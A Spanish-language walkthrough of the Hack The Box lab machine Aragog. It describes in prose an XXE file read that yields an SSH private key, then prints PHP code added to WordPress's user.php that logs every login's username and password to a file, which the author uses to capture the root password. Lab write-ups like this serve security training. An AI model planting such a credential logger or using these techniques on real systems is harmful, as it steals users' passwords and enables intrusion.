En este post veremos la solución de Aragog, una maquina de HacktheBox. Es una máquina de nivel intermedio Linux en el que explotaremos un XXE y robaremos la contraseña de administrador de un WordPress como en el famoso caso de Phineas Phiser hackeando a los Mossos de Cataluña

Aragog

Es una máquina creada por egre55.
My nick en HacktheBox es Ghostpp7.
Cualquier duda, sugerencia o mejora podeis escribirme o indicarlo aquí en los comentarios. Ahora comencemos con el writeup.

Como siempre nuestro primer paso sera lanzar un escaneo de puertos para asi analizar los servicios disponibles.



De los tres servicios disponibles encontramos un FTP que permite acceso anónimo por lo que lo primero que haremos será acceder a los archivos que pueda contener.



Una vez obtenido este único archivo podemos ver que es una estructura XML que por ahora nos aporta poca información asi que lo guardaremos.

Procederemos con el analisis del puerto HTTP por lo que entramos obteniendo un apache por defecto.



Nuestro siguiente paso sera realizar fuerza bruta a los directorios archivos con extensión PHP al ser un apache.



Encontramos un archivo PHP.




Parece que habla de los hosts que hay en una subnet asi que estrujando un poco la mente llegamos a la conclusión de que este php puede estar parseando un XML como el encontrado en el FTP.
Sabiendo esto podemos probar a pasarle un XML.



Como vemos que obtenemos un cambio podemos suponder que funciona, nuestro siguiente paso sera intentar extraer el archivo passwd mediante un XXE.



Como ha funcionado podemos apuntar los dos usuarios que existen florian y cliff.
Despues de unas pruebas para conseguir obtener información valiosa accedemos a la RSA de florian.



Una vez ya tenemos la RSA solo tenemos que crear el archivo y acceder mediante SSH evitando asi la contraseña.



Una vez dentro del ssh podemos enumeramos todo el contenido buscando elementos de interes e incluso podemos utilizar scripts automáticos como LinEnum.
Buscando acabamos en la carpeta /var/www/html donde encontramos otra carpeta que por su contenido parece ser un WordPress



Si intentamos acceder desde el navegador nos encontraremos que los enlaces apuntan a un virtualhost a si que tendremos que añadir el dominio a nuestros hosts.



Despues de enumerar el wordpress encontramos un mensaje en el blog que parece ser una gran pista.



Cliff le cuenta a nuestro usuario que es Florian que se va a estar logueando habitualmente y que restaurará el wordpress cada X tiempo.
Si nos fijamos en este punto y en que podemos modificar todos los archivos del WordPress vemos que podemos intentar robarle la conttraseña al administrador del WordPress.
Lo que haremos será modificar el user.php donde se recoge el usuario y la contraseña y lo exportaremos a un archivo modificando este fragmento de código:

if ( ! empty($_POST['log']) ){
	$credentials['user_login'] = $_POST['log'];
	$uname= $_POST['log'];}
	if ( ! empty($_POST['pwd']) ){
		$credentials['user_password'] = $_POST['pwd'];
		$passw=$_POST['pwd'];}
		$nombre_archivo = "/var/www/html/logs.txt";
		$archivo = fopen($nombre_archivo, "a");
		fwrite($archivo, $uname."  ".$passw."\n");
	        fclose($archivo);
	if ( ! empty($_POST['rememberme']) )
		$credentials['remember'] = $_POST['rememberme'];



Una vez obtenida la contraseña la primera ocurrencia será probarlo con Cliff ya que es el que posteaba el mensaje en el WordPress pero al no funcionar probamos con root obteniendo acceso.

¿Me ayudas a compatirlo?